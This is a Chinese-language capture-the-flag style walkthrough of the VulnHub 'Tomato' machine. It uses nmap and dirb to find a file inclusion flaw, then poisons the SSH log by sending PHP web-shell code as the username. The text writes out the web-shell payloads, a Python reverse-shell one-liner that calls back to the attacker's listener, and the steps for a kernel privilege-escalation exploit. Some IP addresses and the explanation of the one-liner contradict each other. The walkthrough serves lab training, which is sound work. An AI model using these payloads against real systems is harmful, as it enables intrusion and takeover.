目录
简介
Tomato靶机是一个用于渗透测试和漏洞研究的虚拟机。它是由Tomato Security公司开发的,基于Debian操作系统,并包含了多个常见的漏洞和安全工具,如Metasploit、Nmap、Burp Suite等。它模拟了一个真实的网络环境,用户可以在其中执行实际的攻击和渗透测试,以测试其安全性和发现潜在的漏洞。
tomato靶机下载地址:https://www.vulnhub.com/entry/tomato-1,557/
攻击机(Kali Linux)IP:192.168.47.129
(1)导入靶机
虚拟机设置里面选择NAT模式,并勾选设备状态下两个选项,设置好后重启靶机
不设置这一步的话,kali没办法ping通tomato靶机
(2)信息搜集
1、主机发现
因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip:arp-scan -l
发现靶机ip为192.168.47.140
2、端口扫描
nmap 192.168.47.140
发现21、80和8888端口开启
nmap -sC -sV -O 192.168.47.140
-sC常见漏洞脚本扫描 -sV开放端口服务/版本号 -O操作系统探测
3、访问Web服务
网页上访问192.168.47.129,出现一个大番茄
访问192.168.47.129:8888,弹出一个登录框
4、目录扫描
使用dirb进行目录扫描:dirb http://192.168.47.140/
扫描结果如下
访问antibot_image目录
查看info.php的网页源码,发现存在文件包含漏洞
什么是文件包含漏洞呢?
原理:包含可以代码执行的文件(php可以文件读取,也可能造成命令执行)
这个漏洞最重要的有四个函数:
1、include:找不到文件产生警告,脚本继续运行。
2、include_once:相对于include,文件被包含后不会再次被包含。
3、require:找不到文件,产生致命错误,脚本停止。
4、require_once:相对于require,文件被包含后不会再次被包含。
分类:分为两种,RFI (远程文件包含)和 LFI(本地文件包含漏洞),两者的主要区别在于php.ini中是否开启了allow_url_include。如果开启了就有可能是远程文件包含
(3)漏洞利用
在URL后面输入 ?image=/etc/passwd (用image参数传入想要获取的文件路径)
成功显示,说明存在文件包含漏洞
发现端口没有全部扫描出来,使用这个命令扫描nmap -A 192.168.184.154 -p-
-A: 这个选项启用了“侵略性扫描”,包括操作系统检测、版本检测、脚本扫描和跟踪路由等功能。侵略性扫描通常会提供更多的信息,但也可能引起目标系统的注意。
-p-: 这个选项告诉 nmap 扫描目标系统上的所有可能的端口。扫描所有端口可能会耗费一定的时间,但可以全面了解目标系统上开放的哪些端口,以及哪些端口可能存在漏洞。
扫描出来2211,是ssh的连接端口
方法1:报错连接 2211
ssh '<?php @eval($_POST[1]);?>'@192.168.47.140 -p 2211
然后在网页端查看ubuntu报错信息:/var/log/auth.log
/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。
该目录下发现多了一些报错信息,大概率写入木马成功,
使用中国蚁剑进行连接
上传了一句话木马的路径:http://192.168.47.140/antibot_image/antibots/info.php?image=/var/log/auth.log
连接密码是刚刚POST传入的:1
成功拿到整个网站的目录信息
选择打开虚拟终端
可以执行一些终端命令
方法2:使用python3进行反弹shell
写入一句话木马:ssh '<?php echo system($_GET["aaa"]); ?>'@192.168.47.140 -p 2211
在命令中,它尝试通过 SSH 连接到 IP 地址为 "192.168.47.140" 的主机,使用用户名 '<?php echo system($_GET["aaa"]); ?>',并指定端口号为 2211。
这个用户名包含了 PHP 代码,具体来说,它尝试通过 PHP system 函数执行传递给它的参数,而参数来自于 URL 查询字符串中的aaa 参数。这可能是一个恶意操作,用于尝试在远程主机上执行恶意命令或代码。
下面命令执行成功,说明一句话木马写入成功
http://192.168.47.140/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=id
在kali打开监听端口:nc -lnvp 4444
使用python3进行反弹shell,在浏览器中输入:
http://192.168.47.140/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.47.129",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这行代码是一个Python单行命令,它尝试建立一个与指定IP地址("192.168.126.129")和端口号(4444)的远程网络连接,然后在本地绑定标准输入、输出和错误,最后尝试通过pty.spawn("sh")来创建一个本地shell会话。这段代码的主要目的是建立一个远程访问通道,以便通过网络进行计算机访问和控制。
kali监听到操作,成功获得靶机shell
生成可交互式的shell:python3 -c "import pty;pty.spawn('/bin/bash')"
(4)提权
查看系统内核版本:uname -a
发现系统内核是:Linux ubuntu 4.4.0-21-generic
在kali中查找该系统内核的提权包:searchsploit ubuntu 4.4.0-21
不知道是哪个的话,挨个试,最后经过尝试得到可以使用45010,下载该包
此文件是.c文件,需要编译才能运行,这种情况最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,再在靶机上运行程序
开启http服务:python3 -m http.server 80
到tmp目录下下载提权poc(为了避免权限不足)
执行exp文件:./exp,如果执行成功则提权成功
但我这里失败了,报错提示缺少GLIBC_2.34
我的kali是2.36版本的,版本不匹配,自己更新成相应的版本即可